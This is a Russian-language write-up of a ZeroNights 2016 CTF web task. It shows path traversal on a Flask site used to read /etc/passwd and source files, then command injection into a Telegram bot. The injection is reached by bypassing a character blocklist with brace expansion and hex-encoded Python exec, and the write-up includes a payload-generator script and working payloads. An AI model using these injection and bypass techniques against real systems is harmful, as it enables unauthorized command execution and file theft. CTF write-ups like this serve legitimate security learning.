Such Hack райтап - bi.zone ctf web500
Разберем с вами таск "Such Hack" с прошедшего bi.zone ctf, проходившего на базе конференции ZeroNights 2016!
Условие:
Внимание! У Вас нет прав для просмотра скрытого текста.
Ссылка: http://78.155.207.20/
Решение:
Первое что сделаем, так это перейдем по ссылке и наблюдаем следующую страницу:
Ссылки News и About оказываются нерабочими.
Пояснение: последующие действия я выполнял с помощью burpsuite.
Обычно в заголовках сервера указываются версии ПО. Проверим, присутствуют ли они тут:
Опа, присутствует:
Server: Flask 0.11.1
Далее немного помучив таск, можем припомнить, что у проектов на Flask есть распространенная уязвимость - Directory traversal + Local file inclusion.
Дело в том, что flask обычно возвращает содержимое файла, если мы впишем его путь например после перехода в директорию /js/ .
А если сервер настроен некорректно и мы передадим не название скрипта (пример test.js), а путь до файла c переходом на директории выше (пример /../../../../../etc/passwd), то соответственно будет считываться файл /etc/passwd, не находящийся в папке /js/.
Замечаем, что у нас есть папка /static/js/ :
Предположим, что у нас используется аналогичный алгоритм, протестируем его:
Работает! Это так же можно было найти, просто включив пассивное/активное сканирование в burpsuite:
А теперь давайте подробно изучим содержимое /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
web:x:1000:1000::/home/web:/bin/sh
telegram_bot:x:1001:1001::/home/telegram_bot:/bin/bash
Нас должны были заинтересовать последние две строки:
web:x:1000:1000::/home/web:/bin/sh
telegram_bot:x:1001:1001::/home/telegram_bot:/bin/bash
Первоначально я подумал, что на этой же машине просто запущен еще какой то телеграм таск, поэтому первоначально начал изучать папку /home/web.
И после некоторого перебора мы можем прочитать исходник flask сервера, находящегося по пути /home/web/web.py :
#!/usr/bin/python
from flask import Flask, send_file, render_template
app = Flask(__name__)
app.static_types = ['js', 'img', 'css']
@app.route("/")
def hello():
return render_template('index.html')
@app.route("/admin/")
def admin():
return render_template('admin.html')
@app.route("/news/<path:news_id>")
def news_html(news_id):
return render_template('news.html')
@app.route("/static/<path:filetype>/<path:filename>")
def style_file(filetype, filename):
if filetype in app.static_types:
try:
if filetype == 'css':
return send_file('./static/css/' + filename, mimetype='text/css')
elif filetype == 'js':
return send_file('./static/js/' + filename, mimetype='text/javascript')
else:
return send_file('./static/img/' + filename, mimetype='image/jpeg')
except Exception as e:
print e
return render_template('404.html'), 404
else:
return render_template('404.html'), 404
if __name__ == "__main__":
app.run(host='172.17.0.2', port=1111)
Ну.. тут нет ничего того, что мы не знали. И тут мы в тупике...
Но! Вспоминаем, что у нас есть бот, находящийся по адресу /home/telegram_bot/.
После небольшого перебора получаем исходники бота, находящегося по адресу /home/telegram_bot/bot.py (уже несколько CTF подряд скрипт бота называется именно "bot.py")
# -*- coding: utf-8 -*-
#!/usr/bin/python2
import telebot
import subprocess
# SysAdminHelper_bot
token = raw_input()
bot = telebot.TeleBot(token)
@bot.message_handler(commands=['uname', 'ps', 'uptime'])
def repeat_all_messages(message):
waf_rules = [';', '&', '|']
for rule in waf_rules:
if rule in message.text:
output = 'stop hacking!'
bot.send_message(message.chat.id, output)
return
args = message.text.split(' ')
output = ''
if ( args[0] == '/uptime' ):
try:
output = subprocess.check_output(["uptime"], shell=True)
except:
output = 'exception'
elif ( args[0] == '/uname' ):
try:
output = subprocess.check_output(["uname -a"], shell=True)
except:
output = 'exception'
elif ( args[0] == '/ps' ):
try:
output = subprocess.check_output(["ps aux | grep %s" % args[1]], shell=True)
except:
output = 'exception'
else:
output = 'exception'
bot.send_message(message.chat.id, output)
if __name__ == '__main__':
bot.polling(none_stop=True)
Разберем код:
# -*- coding: utf-8 -*-
#!/usr/bin/python2
import telebot
import subprocess
# SysAdminHelper_bot
token = raw_input()
bot = telebot.TeleBot(token)
Это стандартные заголовки питоновского файла, ничего интересного
@bot.message_handler(commands=['uname', 'ps', 'uptime'])
Cписок команд, доступных боту.
Далее начинается огромная функция обработки сообщений:
waf_rules = [';', '&', '|']
for rule in waf_rules:
if rule in message.text:
output = 'stop hacking!'
bot.send_message(message.chat.id, output)
return
Если в нашем сообщении содержатся символы ';' , '&' и '|', то сообщение не будет обработано и высветится ошибка.
args = message.text.split(' ')
Создается массив "слов" нашего сообщения (по разделителю - пробелу).
if ( args[0] == '/uptime' ):
try:
output = subprocess.check_output(["uptime"], shell=True)
except:
output = 'exception'
Если команда /uptime, то отсылается вывод одноименной OS команды.
elif ( args[0] == '/uname' ):
try:
output = subprocess.check_output(["uname -a"], shell=True)
except:
output = 'exception'
Если команда /uname, то отсылается вывод OS команды "uname -a".
elif ( args[0] == '/ps' ):
try:
output = subprocess.check_output(["ps aux | grep %s" % args[1]], shell=True)
except:
output = 'exception'
Если отсылается команда /ps, то выполняется системный вызов "ps aux | grep %s", где %s - второе "слово" в нашем сообщении(массив args).
Фактически мы нашли единственную нашу "точку входа"!
Теперь подумаем, каким еще образом мы можем исполнять команды на сервере, если у нас запрещены символы "&", "|" и ";" ? Ну конечно же либо `
И теперь у нас появляются сразу три проблемы:
1. Мы не видим вывод команды.
2. В нашей команде не должны присутствовать пробелы.
3. А если вдруг нам понадобится ввести какие-либо из трех запрещенных символов?
Давайте решим их по-очереди.
Получение вывода программы
Первый очевидный способ - создание backconnect соединения.
Для тех, кто не в курсе: backconnect означает, что не мы подключаемся к серверу, а сервер к нам (например по socket протоколу), считывает команды которые мы ему отсылаем, исполняет ее, и возвращает нам вывод.
Но сколько я не мучился - соедиение не приходило:(
Вспоминаем, что мы можем читать любой файл на сервере, используя уязвимость на flask вебсайте!
Поэтому мы весь вывод будем перенаправлять в созданный нами файл dr.txt в папке /tmp/, которая доступна для чтения каждому.
Иначе говоря, команда "ls" примет вид "ls > /tmp/dr.txt" и ее вывод перенаправится в файл /tmp/dr.txt . Теперь можем переходить к следующей проблеме.
Способ обхода пробелов
Где же находится фильтр пробелов?
Все дело в том, что в OS команду передается ТОЛЬКО второй аргумент функции, так что если мы передаем "ls -la", то обработается и вставится в команду только "ls", а "-la" уже будет третьим аргументом.
Единственный способ, который я знаю на данный момент (напишите в комментарии свои варианты:) - использование конструкции {..,..}.
Пример: {ls,-la}
Таким образом мы уже можем обходить фильтр пробелов!
Способ обхода запрещенных символов
Теперь нам требуется каким то способом обойти фильтрацию трех символов.
А сделать мы можем это, если вызовем системную команду не напрямую, а через интерпретатор какого-либо языка (я взял python).
Последовательность наших действий:
1. Создаем питоновский скрипт, исполняющий произвольную системную команду, примерно со следующим содержанием:
import os; os.system("<cmd>")
2. Закодируем этот скрипт в HEX как обыкновенную строку:
>>> 'import os; os.system("ls")'.encode('hex')
<<< '696d706f7274206f733b206f732e73797374656d28226c732229'
3. Теперь нам требуется чтобы интерпретатор питона на сервере декодировал эту строку и запустил ее:
>>> bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229")
<<< 'import os; os.system("ls")'
>>> exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229"))
<<< (исполнение команды ls)
4. Запишем однострочную команду, исполняющую наш питоновский код:
bash$ python -c '<наша программа>'
То есть по предыдущему пункту:
bash$ python -c 'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229"))'
И мы успешно обошли использование запрещенных символов!
Объединяем два последних способа
Теперь нам требуется совместить два последних способа обхода разных фильтров:
{python,-c, 'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229"))'
Таким образом может быть использована любая доступная нам команда на сервере! Но не забудьте, что к любой команде
Так же стоит учитывать что будет записан вывод только последней команды (все после последнего разделяющего символа). То есть "pwd; ls >/tmp/dr.txt" запишет в файл только вывод dr.txt.
Для удобства генерации подобной строки я написал скрипт (опять же на питоне:):
while 1:
s = raw_input() #вводим OS команду
o = 'import os; os.system("'+s+' > /tmp/dr.txt");' #вывод последней команды перенаправляем в файл и генерируем строку-скрипт
o = o.encode('hex') #кодируем скрипт HEX
n = '/ps $({python,-c,\'exec(bytearray.fromhex("'+o+'").decode())\'})' # составляем готовый запрос для вставки в чат бота
print(n)
Пример использования:
Вернемся к нашему боту. У нас в теории уже есть эксплуатация произвольного кода. Но нам не хватает логина работающего бота!
Посмотрите на 7 строку кода бота - заметили комментарий # SysAdminHelper_bot ? Ну и как вы уже догадались - это и есть логин бота!
Находим его в телеграме:
Пробуем отослать OS команду pwd:
<<< pwd
>>> /ps $({python,-c,'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d2822707764203e202f746d702f64722e74787422293b").decode())'})
Считываем файл /tmp/dr.txt:
Ура! Команда исполнилась.
Теперь, чтобы не мучиться, исполним команду "ls -laR /", которая покажет нам все папки и файлы на сервере:
<<< ls -laR /
>>> /ps $({python,-c,'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c73202d6c6152202f203e202f746d702f64722e74787422293b").decode())'})
Отсылаем
Смотрим на вывод:
Ну и делаем поиск по слову "flag":
Остается нам прочитать флаг, находящийся по пути /home/flag/SuperPrivateFlag31337:
Вот и наш "многострадальный" флаг:)
FLAG: ctfzone{W0W_SUCH_H@CK_W0W}
P.S. Знаю, что способ решения не очень эстетичный, но это все таки работающий способ:) Буду рад узнать ваши способы решения в комментариях!
- Автор: drakylar
- Комментарии: 0
- Просмотры: 3781